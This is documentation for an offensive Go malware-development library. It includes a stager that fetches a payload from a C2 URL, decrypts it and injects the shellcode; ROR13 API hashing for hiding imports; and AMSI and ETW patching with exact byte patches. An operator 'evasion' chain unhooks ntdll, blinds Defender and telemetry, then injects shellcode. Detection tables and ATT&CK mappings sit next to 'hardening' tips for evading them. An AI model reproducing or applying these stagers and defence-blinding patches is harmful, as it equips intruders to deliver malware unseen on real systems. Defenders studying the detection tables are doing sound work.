"io"
"net/http"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/encode"
"github.com/oioio-space/maldev/inject"
)
func stage(c2URL string, key []byte) error {
resp, err := http.Get(c2URL)
if err != nil { return err }
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil { return err }
ct, err := encode.Base64URLDecode(string(body))
if err != nil { return err }
shellcode, err := crypto.DecryptAESGCM(key, ct)
if err != nil { return err }
inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
Config: inject.Config{Method: inject.MethodCreateThread},
})
if err != nil { return err }
return inj.Inject(shellcode)
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Long Base64 string passed to powershell.exe -EncodedCommand | Sysmon Event 1 (Process Create) command-line scanning, AMSI |
| Base64 string > 1 KB in HTTP request body | Network DLP, Suricata entropy rules |
| UTF-16LE blob in a text-typed channel | Anomaly: text channels normally see UTF-8 |
IEX (New-Object Net.WebClient).DownloadString(...) after Base64 decode | Sysmon Event 4104 (PowerShell ScriptBlockLogging) |
D3FEND counters:
- D3-SEA — static executable / script analysis.
- D3-FCR — YARA / regex on decoded content.
- D3-NTPM
— block outbound
IEX+Base64 patterns at the proxy.
Hardening: chunk long Base64 across multiple requests; randomise field order; pad with realistic noise tokens before encoding.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | PowerShell -EncodedCommand wrapper, Base64 wrappers | D3-SEA |
| T1027.013 | Encrypted/Encoded File | Base64 envelope around encrypted payload | D3-FCR |
| T1140 | Deobfuscate/Decode Files or Information | Base64Decode, Base64URLDecode | D3-FCR |
Limitations
- Encoding is not encryption. Base64 is trivially reversible. Always encrypt before encoding for non-public payloads.
- Entropy spike on the wire. Long Base64 strings are visible to network DLP. Chunk into multiple requests, or use a more selective steganographic carrier.
- Command-line length cap.
powershell.exe -EncodedCommandaccepts ~32 KB of Base64. Larger stagers must download then execute, not embed inline. - UTF-16LE assumes BMP. Supplementary-plane code points (emoji, CJK extensions) get surrogate pairs — fine for PowerShell but surprises any consumer expecting fixed two-byte units.
See also
crypto— pair to encrypt before encoding.hash— fingerprinting and ROR13 API hashing.- Microsoft Docs: PowerShell
-EncodedCommand
Hash techniques
The hash/ package supplies three families of hashing primitives:
cryptographic (MD5, SHA-1, SHA-256, SHA-512) for integrity and
identifiers, API hashing (ROR13 + ROR13Module) for shellcode-style
plaintext-free function resolution, and fuzzy hashing (ssdeep, TLSH)
for variant detection and similarity scoring.
TL;DR
flowchart TD
Q{What do you need?} -->|fingerprint a buffer| C[SHA256 / MD5]
Q -->|resolve a Win32 API by hash| R[ROR13]
Q -->|find variants of a known sample| F[ssdeep / TLSH]
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
hash | cryptographic-hashes.md · fuzzy-hashing.md | very-quiet | MD5/SHA-* (integrity), ROR13 (API hashing), ssdeep + TLSH (similarity) |
Quick decision tree
| You want to… | Use |
|---|---|
| …identify a payload by content | hash.SHA256 |
| …compute a Windows API name hash for a shellcode resolver | hash.ROR13 |
| …compute a module-name hash matching PEB-walk shellcode | hash.ROR13Module |
| …score similarity between two samples (variant detection) | hash.SsdeepCompare or hash.TLSHCompare |
| …screen a directory of suspicious binaries against a known-bad seed | see Advanced example |
MITRE ATT&CK
The hash package itself is utility. It is referenced from techniques that consume it:
| Used by | Why |
|---|---|
win/api.ResolveByHash | Plaintext-free Win32 API resolution (T1027.007) |
| Researcher / hunter workflows | Variant detection, signature defeat measurement |
pe/morph | Build-time fingerprint shifting; pair with fuzzy hashing to verify the morph kept the family intact |
See also
- API hashing — dedicated tech page on the shellcode-style ROR13 use case.
crypto— confidentiality layer (hashis often used to derive integrity checks alongside).- Researcher path: fuzzy hashing for variant tracking
Cryptographic hashes & ROR13
TL;DR
One-shot hex-string wrappers around crypto/md5, crypto/sha1,
crypto/sha256, crypto/sha512, plus the ROR13 algorithm used by
shellcode for plaintext-free Win32 API resolution. Pure Go,
cross-platform, no system interaction.
Primer
Two distinct use cases share this file:
The cryptographic wrappers (MD5, SHA1, SHA256, SHA512)
exist because Go's stdlib returns [N]byte arrays — convenient for
machines, awkward for logs, command-line output, and string-keyed maps.
The wrappers compress the boilerplate to one call and produce
lower-case hex strings.
ROR13 is the canonical shellcode hash. Implants resolve Win32 APIs
without keeping plaintext function names in the binary by walking the
PE export directory of a loaded module and comparing each export name's
ROR13 hash against precomputed targets. The trailing-null variant
ROR13Module matches the convention used to hash module names from
LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer. win/api.ResolveByHash
consumes both.
The fuzzy hashes (ssdeep, TLSH) live in a separate page — fuzzy-hashing.md.
How it works
Cryptographic hashes
flowchart LR
DATA[input bytes] --> H{algorithm}
H -->|MD5| M[16-byte digest]
H -->|SHA1| S1[20-byte digest]
H -->|SHA256| S2[32-byte digest]
H -->|SHA512| S5[64-byte digest]
M --> HEX[lower-case hex string]
S1 --> HEX
S2 --> HEX
S5 --> HEX
ROR13
flowchart LR
NAME[function name] --> ITER[for each byte b]
ITER --> ROT[hash = ror32 hash, 13]
ROT --> ADD[hash += b]
ADD --> NEXT{more bytes?}
NEXT -->|yes| ITER
NEXT -->|no| OUT[uint32 hash]
ROR13Module adds a trailing null byte to the input, then hashes —
mirroring the wide-string traversal a PEB-walk shellcode performs over
the unicode BaseDllName.
The arithmetic per byte:
$$ \text{hash}_{i+1} = \big(\text{hash}_i \mathbin{\text{ror}} 13\big) + b_i \mod 2^{32} $$
starting at $\text{hash}_0 = 0$. Pure 32-bit unsigned arithmetic, easy to encode in a few shellcode bytes.
API Reference
MD5(data []byte) string
Lower-case hex digest of md5.Sum(data). 32 hex characters.
[!CAUTION] MD5 is collision-broken. Use only for non-security identifiers (cache keys, log correlation). Never for integrity checks.
SHA1(data []byte) string
Lower-case hex digest. 40 hex characters.
[!WARNING] SHA-1 is also collision-broken (SHAttered, 2017). Prefer SHA-256.
SHA256(data []byte) string
Lower-case hex digest. 64 hex characters. The default integrity hash.
SHA512(data []byte) string
Lower-case hex digest. 128 hex characters. Use when truncation-resistant output is required.
ROR13(name string) uint32
Compute the 32-bit ROR13 hash of name. Case-sensitive. Used to match
Win32 export names exactly as they appear in the export directory.
Example output: ROR13("LoadLibraryA") == 0xec0e4e8e.
ROR13Module(name string) uint32
Same as ROR13 but appends a null terminator before hashing — matches
the convention that PEB-walk shellcode uses when hashing module names
from LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.
Examples
Simple
fmt.Println(hash.SHA256([]byte("payload")))
// 239f59ed55e737c77147cf55ad0c1b030b6d7ee748a7426952f9b852d5a935e5
fmt.Printf("%#x\n", hash.ROR13("LoadLibraryA"))
// 0xec0e4e8e
See ExampleSHA256, ExampleROR13, ExampleROR13Module in
hash_example_test.go.
Composed (precompute API hashes for a resolver)
import "github.com/oioio-space/maldev/hash"
// Precomputed table for the resolver to consume.
var apiHashes = map[string]uint32{
"LoadLibraryA": hash.ROR13("LoadLibraryA"),
"GetProcAddress": hash.ROR13("GetProcAddress"),
"VirtualAlloc": hash.ROR13("VirtualAlloc"),
"VirtualProtect": hash.ROR13("VirtualProtect"),
}
Advanced (hash + win/api.ResolveByHash)
import (
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/win/api"
)
// At runtime — no plaintext "VirtualAlloc" string in the binary.
addr, err := api.ResolveByHash(
hash.ROR13Module("kernel32.dll"),
hash.ROR13("VirtualAlloc"),
)
Complex (full resolver bootstrap pipeline)
import (
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/win/api"
)
type Resolver struct {
handle uintptr
}
func NewResolver(moduleHash uint32) (*Resolver, error) {
h, err := api.GetModuleHandleByHash(moduleHash)
if err != nil { return nil, err }
return &Resolver{handle: h}, nil
}
func (r *Resolver) Resolve(funcName string) (uintptr, error) {
return api.GetProcAddressByHash(r.handle, hash.ROR13(funcName))
}
func main() {
k32, _ := NewResolver(hash.ROR13Module("kernel32.dll"))
valloc, _ := k32.Resolve("VirtualAlloc")
_ = valloc
}
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Hex strings (especially SHA-256-shaped 64-char) in process memory | YARA over RW pages — hash strings are themselves a tell |
Constant 0xec0e4e8e-class 32-bit values stored in .rdata | Static analysis: known-API ROR13 hash tables are publicly catalogued (e.g. ror13_hashes.csv from various reversing tools) |
Absence of LoadLibraryA / GetProcAddress plaintext in IAT despite using the APIs | Defenders flag "no IAT entries for kernel32 but a kernel32 handle is held" |
ROR13 resolution loop signature (ror eax, 13; add eax, ebx) in .text | Capa, IDA signature plugins, MAEC ML classifiers |
D3FEND counters:
- D3-SEA — static EXE analysis catches the hash table or the ROR13 loop.
- D3-PSA — flags processes that resolve APIs after a delay (typical of packers).
Hardening: spread API resolution across the binary's lifetime
rather than batching at startup; randomise hash constants per build (a
salt fed into ROR13's initial state); pair with sleep-masking so the
resolved-address table does not sit decrypted in heap.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | ROR13 API hashing — no plaintext API names | D3-SEA |
| T1027.007 | Dynamic API Resolution | ROR13 resolver pattern | D3-SEA |
The cryptographic hash wrappers themselves are utility — no MITRE mapping.
Limitations
- MD5 and SHA-1 are broken. Avoid for any integrity / signature use case. The package keeps them only because some legacy formats (e.g. PE Authenticode V1, NTLM) require MD5/SHA-1.
- ROR13 is case-sensitive. Hash mismatches between
LoadLibraryAandloadlibraryaare silent — you'll fail to resolve and the call returnsnil. UseROR13Modulefor module names where Windows is case-insensitive (the function takes care of the null suffix; case still matters). - No streaming API. Every wrapper takes the whole buffer. For
multi-GB inputs, use
crypto/sha256.New()directly andio.Copyinto it.
See also
- API hashing technique page — full walkthrough of the shellcode-side use of ROR13.
fuzzy-hashing.md— ssdeep + TLSH for variant detection.win/api.ResolveByHash— primary consumer ofROR13.pe/morph— uses fuzzy hashing internally to verify post-morph similarity.
Fuzzy hashing (ssdeep + TLSH)
TL;DR
Two locality-sensitive hashes — ssdeep (context-triggered piecewise) and TLSH (Trend Locality-Sensitive Hash) — that produce similar outputs for similar inputs. Use to detect variants of a known sample after small mutations (UPX section rename, packer entropy padding, single-byte patches) that defeat traditional cryptographic hashes.
Primer
A traditional hash like SHA-256 changes completely when a single byte flips. That's by design: the slightest tamper must invalidate the fingerprint. The downside is that any morph — even a cosmetic one — makes a known-bad hash useless.
Fuzzy hashes give up exact-match in exchange for proximity. Two ssdeep hashes can be compared to a similarity score in $[0, 100]$; two TLSH hashes give a distance in $[0, \infty)$ where lower means more similar. Defenders use them for variant tracking and clustering; offensive teams use them to measure signature evasion (does my morph defeat fuzzy hashing too, or only SHA-256?).
The package wraps the
glaslos/ssdeep and
glaslos/tlsh pure-Go libraries
behind an idiomatic API.
How it works
flowchart LR
A[file A] --> SsA[Ssdeep]
B[file B] --> SsB[Ssdeep]
SsA --> Cmp1[SsdeepCompare]
SsB --> Cmp1
Cmp1 --> Score[score 0–100]
A --> TlA[TLSH]
B --> TlB[TLSH]
TlA --> Cmp2[TLSHCompare]
TlB --> Cmp2
Cmp2 --> Dist[distance 0–∞]
ssdeep slices the input on context-triggered boundaries (rolling hash hits a threshold), then hashes each slice. Two files with identical slice sequences score 100; files with only some slices in common score proportionally.
TLSH builds a histogram of overlapping 5-byte windows, quantises it, and emits a fixed 70-byte hex string. Distance is roughly Hamming over the quantised histogram.
Minimum input sizes:
- ssdeep — works on any input, but very short inputs produce unreliable hashes.
- TLSH — 50 bytes minimum (library enforced); 256+ bytes recommended for stable distance.
API Reference
Ssdeep(data []byte) (string, error)
Compute the ssdeep hash of a buffer. Returns a string of the form
12:abcd...:efgh... where the leading number is the block-size
magnitude.
SsdeepFile(path string) (string, error)
Same as Ssdeep but reads from disk.
SsdeepCompare(hash1, hash2 string) (int, error)
Compare two ssdeep hashes. Returns a similarity score in $[0, 100]$
(higher = more similar) or error if the hashes have non-adjacent
block-size magnitudes (incomparable).
TLSH(data []byte) (string, error)
Compute the TLSH hash of a buffer. Returns a 70-character hex string.
Errors if len(data) < 50.
TLSHFile(path string) (string, error)
Same as TLSH but reads from disk.
TLSHCompare(hash1, hash2 string) (int, error)
Compare two TLSH hashes. Returns a distance in $[0, \infty)$ — lower means more similar.
Rough scale: $<30$ very close, $<70$ same family, $>200$ unrelated.
Examples
Simple
s, _ := hash.Ssdeep(payload)
t, _ := hash.TLSH(payload)
fmt.Println(s, t)
Composed (compare two payloads)
s1, _ := hash.SsdeepFile("payload_v1.exe")
s2, _ := hash.SsdeepFile("payload_v2.exe")
score, _ := hash.SsdeepCompare(s1, s2)
fmt.Printf("ssdeep score: %d/100\n", score)
t1, _ := hash.TLSHFile("payload_v1.exe")
t2, _ := hash.TLSHFile("payload_v2.exe")
dist, _ := hash.TLSHCompare(t1, t2)
fmt.Printf("tlsh distance: %d\n", dist)
Advanced (batch similarity scan)
Screen a directory of candidates against a known-malicious baseline. Files that score $\ge 70$ on ssdeep or $\le 100$ on TLSH are likely variants of the same family.
import (
"fmt"
"io/fs"
"path/filepath"
"github.com/oioio-space/maldev/hash"
)
func scanVariants(baseline, dir string, ssdeepThreshold, tlshMax int) error {
bSS, _ := hash.SsdeepFile(baseline)
bTL, _ := hash.TLSHFile(baseline)
return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil || d.IsDir() {
return err
}
ss, _ := hash.SsdeepFile(path)
tl, _ := hash.TLSHFile(path)
score, _ := hash.SsdeepCompare(bSS, ss)
dist, _ := hash.TLSHCompare(bTL, tl)
if score >= ssdeepThreshold || (dist >= 0 && dist <= tlshMax) {
fmt.Printf("variant ssdeep=%d tlsh=%d %s\n", score, dist, path)
}
return nil
})
}
Complex (UPXMorph vs SHA-256 vs fuzzy hashing)
The core demonstration of why fuzzy hashing exists. pe/morph.UPXMorph
replaces the eight-byte UPX section names (UPX0, UPX1, UPX2) with
random strings. That tiny change flips the SHA-256 — the blocklist
entry for the original hash is now useless. But 24 bytes out of
hundreds of kilobytes is nothing structurally: ssdeep and TLSH see
essentially the same binary and report high similarity.
import (
"fmt"
"os"
"github.com/oioio-space/maldev/hash"
"github.com/oioio-space/maldev/pe/morph"
)
func main() {
packed, err := os.ReadFile("implant-upx.exe")
if err != nil { panic(err) }
sha256Before := hash.SHA256(packed)
ssBefore, _ := hash.Ssdeep(packed)
tlBefore, _ := hash.TLSH(packed)
morphed, err := morph.UPXMorph(packed)
if err != nil { panic(err) }
sha256After := hash.SHA256(morphed)
ssAfter, _ := hash.Ssdeep(morphed)
tlAfter, _ := hash.TLSH(morphed)
ssScore, _ := hash.SsdeepCompare(ssBefore, ssAfter)
tlDist, _ := hash.TLSHCompare(tlBefore, tlAfter)
fmt.Println("SHA-256 same?:", sha256Before == sha256After)
fmt.Printf("ssdeep score: %d / 100\n", ssScore)
fmt.Printf("TLSH distance: %d\n", tlDist)
}
Typical output for a UPX-morphed binary:
SHA-256 same?: false ← blocklist miss
ssdeep score: 97 / 100 ← variant detected
TLSH distance: 12 ← negligible neighbourhood change
A defender relying solely on SHA-256 is blind to the morphed copy. A defender running ssdeep/TLSH catches it immediately.
OPSEC & Detection
Fuzzy hashing is primarily a defender tool — the offensive use case is measuring evasion, not performing it. Still:
| Artefact | Where defenders look |
|---|---|
| ssdeep score $\ge 70$ vs known-bad seed | VirusTotal "Similar Files" tab, Cuckoo signatures, MISP ssdeep events |
| TLSH distance $\le 100$ vs known-bad seed | Trend Micro telemetry, MITRE TLSH-based clustering |
D3FEND counter: D3-SEA — Static Executable Analysis covers fuzzy-hash-based clustering.
Operator implication: if your morph reduces the SHA-256 match but
leaves ssdeep/TLSH high, you've broken signature-based detection but
not similarity-based detection. Layer with structural mutation
(pe/morph + section rebuild + obfuscated control flow) until both
metrics fall.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | analysis tooling — measures, doesn't perform | D3-SEA |
(The hashes themselves don't perform a technique; they're used to evaluate how thoroughly a morph or packer defeats clustering.)
Limitations
- ssdeep block-size mismatch. Hashes with non-adjacent block-size
magnitudes are incomparable —
SsdeepComparereturns an error. This is a fundamental property of CTPH, not a bug. - TLSH minimum size. 50 bytes is library-enforced. Shorter inputs return an error. 256+ bytes recommended for stable distance.
- Pure-Go performance. Both libraries are pure Go. Native
ssdeep/TLSH C implementations are 3–5× faster on large datasets — if
scanning thousands of files, batch them and parallelise via
errgroup. - Defender bias. These hashes were designed by defenders, for defenders. Their offensive value is purely diagnostic.
See also
cryptographic-hashes.md— the exact-match counterparts (MD5/SHA-*).pe/morph— the canonical mutation tool whose effect is best measured against fuzzy hashes.- Roussev, Data Fingerprinting with Similarity Digests — academic primer on CTPH (the algorithm behind ssdeep).
- Oliver, Cheng, Chen, TLSH — A Locality Sensitive Hash — TLSH algorithm paper.
Evasion techniques
In-process and on-host primitives that disable, blind, restore, or
hide the defensive surface so subsequent injection / collection /
post-ex code runs unobserved. Every package in this area accepts a
*wsyscall.Caller and composes via evasion.ApplyAll or
evasion/preset recipes.
TL;DR
flowchart LR
A[unhook ntdll] --> B[patch AMSI]
B --> C[patch ETW]
C --> D[harden process<br>ACG / BlockDLLs / CET]
D --> E[sleepmask between callbacks]
The "operator's first 100 ms" — restore clean syscall stubs, blind the two main monitoring channels, harden the process against future hooks, mask payload memory during sleep.
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
evasion/acg | acg-blockdlls.md | quiet | Arbitrary Code Guard — block dynamic-code allocation in own process |
evasion/amsi | amsi-bypass.md | noisy | Patch AmsiScanBuffer / AmsiOpenSession for "always clean" verdicts |
evasion/blockdlls | acg-blockdlls.md | quiet | Microsoft-only DLL signature requirement |
evasion/callstack | callstack-spoof.md | quiet | Call-stack spoof primitives — fake return addresses for syscalls |
evasion/cet | cet.md | noisy | Intel CET shadow-stack opt-out + ENDBR64 marker for APC paths |
evasion/etw | etw-patching.md | moderate | Patch ntdll ETW write helpers with xor rax,rax; ret |
evasion/hook | inline-hook.md | quiet | Install your own inline hooks (probe, group, remote, bridge) |
evasion/hook/bridge | inline-hook.md | quiet | IPC bridge — out-of-process hook controller |
evasion/hook/shellcode | inline-hook.md | quiet | x64 trampoline / prologue-steal generator |
evasion/kcallback | kernel-callback-removal.md | very-noisy | Enumerate / remove kernel callback registrations (BYOVD-pluggable) |
evasion/preset | preset.md | varies | Curated Minimal / Stealth / Aggressive Technique bundles |
evasion/sleepmask | sleep-mask.md | quiet | Encrypt payload memory during sleep with EKKO / Foliage / Inline strategies |
evasion/stealthopen | stealthopen.md | quiet | NTFS Object-ID file access — bypass path-based EDR file hooks |
evasion/unhook | ntdll-unhooking.md | noisy | Restore ntdll.dll syscall stubs from disk or fresh child process |
Cross-categorised pages currently living here (packages live elsewhere):
| Page | Actual package | Note |
|---|---|---|
| ../recon/anti-analysis.md | recon/antidebug, recon/antivm | moved to recon/ — debugger + VM detection |
| ../kernel/byovd-rtcore64.md | kernel/driver/rtcore64 | moved to kernel/ — BYOVD primitive used by kcallback + lsassdump |
| ../recon/dll-hijack.md | recon/dllhijack | moved to recon/ — discovery is recon, exploitation is evasion |
| ../process/fakecmd.md | process/tamper/fakecmd | PEB CommandLine spoof — moved to process/ |
| ../process/hideprocess.md | process/tamper/hideprocess | NtQSI patch to hide PIDs — moved to process/ |
| ../recon/hw-breakpoints.md | recon/hwbp | moved to recon/ — DR0–DR7 inspection |
| ../process/phant0m.md | process/tamper/phant0m | EventLog svchost thread kill — moved to process/ |
| ppid-spoofing.md | c2/shell (PPIDSpoofer) | spawn-time parent PID spoof |
| ../recon/sandbox.md | recon/sandbox | moved to recon/ — multi-factor orchestrator |
| ../recon/timing.md | recon/timing | moved to recon/ — time-based evasion |
Quick decision tree
| You want to… | Use |
|---|---|
| …blind PowerShell / .NET AMSI scanning | amsi.PatchAll |
| …blind ETW for the current process | etw.PatchAll |
| …restore EDR-hooked syscall stubs before patching | unhook.FullUnhook or unhook.CommonClassic |
| …make memory scanners blind during sleep | sleepmask |
| …ship a single "do everything sane" recipe | preset.Stealth() |
| …read a sensitive file path without leaving a path-based event | stealthopen |
| …survive Win11+CET-enforced hosts on APC paths | cet.Wrap or cet.Disable |
| …spoof call-stack return addresses for stealth syscalls | callstack.SpoofCall |
| …remove a kernel callback (PsSetLoadImageNotifyRoutine etc.) | kcallback (requires BYOVD reader) |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | evasion/sleepmask | D3-PMA |
| T1036 | Masquerading | evasion/callstack, evasion/stealthopen | D3-PSA |
| T1497 | Virtualization/Sandbox Evasion | recon/sandbox, recon/antivm, recon/timing | D3-PSA, D3-PMA |
| T1562.001 | Impair Defenses: Disable or Modify Tools | evasion/{amsi,etw,unhook,acg,blockdlls,cet,kcallback,preset} | D3-PMC, D3-PSA |
| T1562.002 | Impair Defenses: Disable Windows Event Logging | process/tamper/phant0m | D3-RAPA |
| T1574.012 | Hijack Execution Flow: COR_PROFILER | evasion/hook (inline hook scaffold) | D3-PMC |
| T1622 | Debugger Evasion | recon/antidebug, recon/hwbp | D3-PSA |
See also
- Operator path: 30-minute implant
- Researcher path: Caller pattern
- Detection eng path: AMSI / ETW / unhook artifacts
AMSI bypass
TL;DR
Patch AmsiScanBuffer (3-byte xor eax,eax; ret prologue) and/or
AmsiOpenSession (flip the conditional jump) in the loaded amsi.dll
of the current process. Result: every AMSI scan returns "clean" without
ever reaching the registered antimalware provider.
Primer
The Antimalware Scan Interface is the Windows mechanism that ships
script bodies (PowerShell, .NET, VBScript, JScript) to a registered
antimalware provider — usually Defender — for inspection before
execution. Loaders that decrypt-and-run a payload in a managed runtime
(Assembly.Load, IEX) trigger AMSI; if Defender flags the body, the
runtime aborts.
The bypass operates at the per-process level by patching amsi.dll in
the current process's address space. AMSI's interface is COM, but the
critical path goes through two functions in the DLL:
AmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, result) → HRESULT— submits content for scanning, writes verdict to*result.AmsiOpenSession(amsiContext, amsiSession) → HRESULT— initialises a scan session; null session means no scanning.
Patching either short-circuits the chain.
[!IMPORTANT] AMSI patches are per-process. They don't disable AMSI system-wide — Defender keeps scanning every other process normally. The patch survives only as long as
amsi.dllis mapped in the current process.
How it works
sequenceDiagram
participant Loader as "runtime/clr or PowerShell host"
participant amsi as "amsi.dll"
participant Provider as "Defender (MpOav.dll)"
rect rgb(255,238,238)
Note over Loader,Provider: Without patch
Loader->>amsi: AmsiScanBuffer(payload)
amsi->>Provider: ScanContent
Provider-->>amsi: AMSI_RESULT_DETECTED
amsi-->>Loader: HRESULT, *result = DETECTED
Loader->>Loader: abort
end
rect rgb(238,255,238)
Note over Loader,Provider: After PatchScanBuffer
Loader->>amsi: AmsiScanBuffer(payload)
Note over amsi: prologue is now<br>31 C0 C3 (xor eax,eax; ret)
amsi-->>Loader: returns S_OK, *result untouched
Loader->>Loader: continue (treats as clean)
end
PatchScanBuffer does:
LoadLibraryW("amsi.dll")to ensure the module is mapped (no-op if already loaded).GetProcAddress(amsi, "AmsiScanBuffer")— function entry.NtProtectVirtualMemory(addr, 3, PAGE_EXECUTE_READWRITE)via the supplied*Caller.- memcpy
31 C0 C3over the prologue. NtProtectVirtualMemory(addr, 3, original)to restore.
PatchOpenSession is similar but flips a single byte in the prologue
of AmsiOpenSession (JZ → JNZ), making session creation always
"succeed" without initialising the provider.
API Reference
PatchScanBuffer(caller *wsyscall.Caller) error
Overwrite the AmsiScanBuffer prologue with xor eax,eax; ret.
Parameters: caller — optional *wsyscall.Caller. nil falls back
to WinAPI for debug; pass an indirect-syscall caller in production.
Returns: error — wraps LoadLibraryW / GetProcAddress /
NtProtectVirtualMemory failures. nil if amsi.dll is not loaded
and cannot be loaded (skipped silently).
Side effects: the running process's amsi.dll .text section is
patched (3 bytes). Persists for the process lifetime.
OPSEC: the NtProtectVirtualMemory(amsi.dll, RWX) is the loudest
event — visible in ETW Threat Intelligence (EVENT_TI_NTPROTECT).
PatchOpenSession(caller *wsyscall.Caller) error
Flip the conditional jump in AmsiOpenSession so session creation
always returns success without the provider initialising.
PatchAll(caller *wsyscall.Caller) error
Apply both PatchScanBuffer and PatchOpenSession. Idempotent — safe
to call multiple times.
ScanBufferPatch() evasion.Technique, OpenSessionPatch() evasion.Technique, All() evasion.Technique
Adapt the patches to the evasion.Technique interface for composition
with evasion.ApplyAll.
Examples
Simple
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := amsi.PatchScanBuffer(caller); err != nil {
log.Fatal(err)
}
// AmsiScanBuffer now returns clean for everything in this process.
Composed (with evasion.ApplyAll)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
results := evasion.ApplyAll([]evasion.Technique{
amsi.All(), // patches both scan + session
etw.All(), // blinds ETW too
}, caller)
for name, err := range results {
if err != nil {
log.Printf("%s: %v", name, err)
}
}
Advanced (full pre-injection chain)
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
techniques := []evasion.Technique{}
techniques = append(techniques, unhook.CommonClassic()...) // restore ntdll first
techniques = append(techniques, amsi.All(), etw.All()) // then blind
_ = evasion.ApplyAll(techniques, caller)
// Everything below now runs without AMSI / ETW visibility:
clr.LoadAndExecute(assembly)
inject.SectionMapInject(targetPID, shellcode, caller, nil)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
NtProtectVirtualMemory(amsi.dll, RWX) | ETW TI EVENT_TI_NTPROTECT — single highest-leverage signal |
3 bytes of amsi.dll differ from on-disk image | EDR memory-integrity scan of loaded modules |
AmsiScanBuffer returning S_OK in 0 µs | Statistical hunt — real scans take 100 µs–10 ms |
Process loaded amsi.dll but never calls back to provider | ETW provider event volume per process |
D3FEND counters: D3-PMC, D3-PSA.
Hardening: AMSI Provider DLL pinned + signed; on Win11, CFG + ProcessUserShadowStackPolicy increase the cost of reaching the patch site reliably.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1562.001 | Impair Defenses: Disable or Modify Tools | full (per-process AMSI nullification) | D3-PMC, D3-PSA |
Limitations
- Per-process only. Doesn't affect AMSI scans from other processes (so a child PowerShell still gets scanned unless that child also patches).
- Defender def-update can flag the byte pattern. Modern Defender
flags the loaded-process side-effect (Windows-AMSI-Bypass detections).
Composing with
unhookfirst reduces the chance of being mid-flight when Defender's hooks fire. - CFG (Control Flow Guard) doesn't block prologue patches but EDR
hook scanners that rescan
amsi.dllperiodically will catch it. - AMSI providers other than Defender (e.g., third-party AV) might
use different code paths that don't go through
AmsiScanBuffer— rare today but worth knowing.
See also
evasion/etw— sibling defence-impair.evasion/unhook— restore EDR-hooked APIs first.- Rasta Mouse — Memory Patching AMSI Bypass — original reference.
- Microsoft — AMSI overview.
ETW patching
TL;DR
Overwrite the prologue of ntdll.dll's ETW write helpers
(EtwEventWrite, EtwEventWriteEx, EtwEventWriteFull,
EtwEventWriteString, EtwEventWriteTransfer) with
xor rax,rax; ret. Any ETW provider in the process emits zero events
while still receiving STATUS_SUCCESS.
Primer
Event Tracing for Windows is the primary telemetry pipeline of the
Windows kernel — every EDR, every audit policy, every Defender
real-time component subscribes to it. User-mode providers in the
current process route their events through the five EtwEvent* write
functions in ntdll.dll. Patching those five functions to be no-ops
silences ETW for the process: no provider can publish, regardless of
what EventRegister returned.
The NtTraceEvent syscall sits one layer below the user-mode helpers.
A few EDRs direct-call it to bypass the user-mode patch — hence the
companion PatchNtTraceEvent for the kernel-call layer.
[!NOTE] ETW Threat Intelligence (
Microsoft-Windows-Threat-Intelligence) is a kernel-side ETW channel that this patch does NOT silence — kernel-mode events emitted byEtwTraceEvent(kernel form) still reach subscribers. The patch covers user-mode emission only.
How it works
sequenceDiagram
participant Provider as "user-mode provider"
participant ntdll as "ntdll!EtwEventWrite"
participant TI as "ETW Subscriber"
rect rgb(255,238,238)
Note over Provider,TI: Without patch
Provider->>ntdll: EtwEventWrite(provider, descriptor, payload)
ntdll->>TI: NtTraceEvent → consumer
ntdll-->>Provider: STATUS_SUCCESS
end
rect rgb(238,255,238)
Note over Provider,TI: After PatchAll
Provider->>ntdll: EtwEventWrite(...)
Note over ntdll: prologue is now<br>48 33 C0 C3 (xor rax,rax; ret)
ntdll-->>Provider: STATUS_SUCCESS<br>(no event emitted)
end
For each of the five functions:
GetProcAddress(ntdll, "EtwEventWrite*").NtProtectVirtualMemory(addr, 4, PAGE_EXECUTE_READWRITE)via the supplied*Caller.- memcpy
48 33 C0 C3(xor rax, rax; ret). NtProtectVirtualMemory(addr, 4, original).
PatchNtTraceEvent does the same for NtTraceEvent with a single RET.
API Reference
PatchAll(caller *wsyscall.Caller) error
Patch all five EtwEvent* write functions in ntdll.dll. Idempotent.
Parameters: caller — optional *wsyscall.Caller.
Returns: error — first failure shorts the chain. nil on success.
Side effects: 5 × 4 bytes of ntdll.dll .text section overwritten.
OPSEC: five NtProtectVirtualMemory calls on ntdll.dll —
distinguishable in TI ETW. Run after unhook.FullUnhook so the
subsequent ETW activity stays hidden from EDR hooks.
Patch(caller *wsyscall.Caller) error
Patch only EtwEventWrite (the most-used variant). Cheaper alternative
when you don't need the full set.
PatchNtTraceEvent(caller *wsyscall.Caller) error
Patch the lower-level NtTraceEvent with a single RET. Use this when
EDR is observed direct-calling the syscall layer.
All() evasion.Technique, PatchTechnique() evasion.Technique, NtTraceTechnique() evasion.Technique
evasion.Technique adapters for composition with evasion.ApplyAll.
Examples
Simple
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := etw.PatchAll(caller); err != nil {
log.Fatal(err)
}
// User-mode ETW providers in this process emit nothing now.
